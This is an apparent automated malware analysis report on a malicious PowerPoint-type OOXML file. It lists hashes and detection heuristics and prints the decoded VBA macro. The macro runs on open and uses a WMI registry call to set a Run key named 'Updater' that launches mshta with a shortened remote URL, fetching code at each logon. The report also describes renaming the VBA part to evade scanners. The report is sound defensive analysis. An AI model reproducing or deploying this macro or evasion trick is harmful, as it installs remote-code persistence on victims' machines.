Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 751e192aa22bf585…

MALICIOUS

Office (OOXML)

7.4 KB First seen: 2021-06-20
MD5: 4044f92321f8b0b49fb75b5ba07ea7df SHA-1: abca554f67b7ad9232f92b7a29c4412e2aaa623a SHA-256: 751e192aa22bf585173ee236d766028d26d1844f67ae9c357a901bdf6f35a50d
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The VBA macro Auto_Open function is designed to execute upon opening the document. It reconstructs the URL "https://www.bitly.com/haiajdwdijwwdhwiddwijwij" and writes it to the registry Run key under the name "Updater", establishing persistence. The presence of a renamed VBA project and GetObject call further indicate malicious intent.

Heuristics 7

  • ClamAV: Win.Malware.Agent-9872331-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Malware.Agent-9872331-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/chuchu.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/haiajdwdijwwdhwiddwijwij In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 639 bytes
SHA-256: 143ea69bd1838782c20acad8f6fce646f3772c9c85214c4e959c5314bd1c51df
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()

r = StrReverse("s")
m = StrReverse("M")
p = StrReverse("H")
tu = StrReverse("T")
x = StrReverse("""")
ha = StrReverse("a")
culik = StrReverse("""")
calc = x + m + r + p + tu + ha + culik
Const polooood = &H80000001
mamammakdkd = "."
Set kaosdkqowkdok = GetObject("winmgmts:\\" & mamammakdkd & "\root\default:StdRegProv")
kdkaskllll = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
hotagotamota = "Updater"
pipatatutupu = calc + """https://www.bitly.com/haiajdwdijwwdhwiddwijwij"""
kaosdkqowkdok.SetStringValue polooood, kdkaskllll, hotagotamota, pipatatutupu

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/chuchu.bin 14336 bytes
SHA-256: c2cc5c53240f594e8d3f470439e16ed6c45f83947c1ff4c8aeb20361340dc518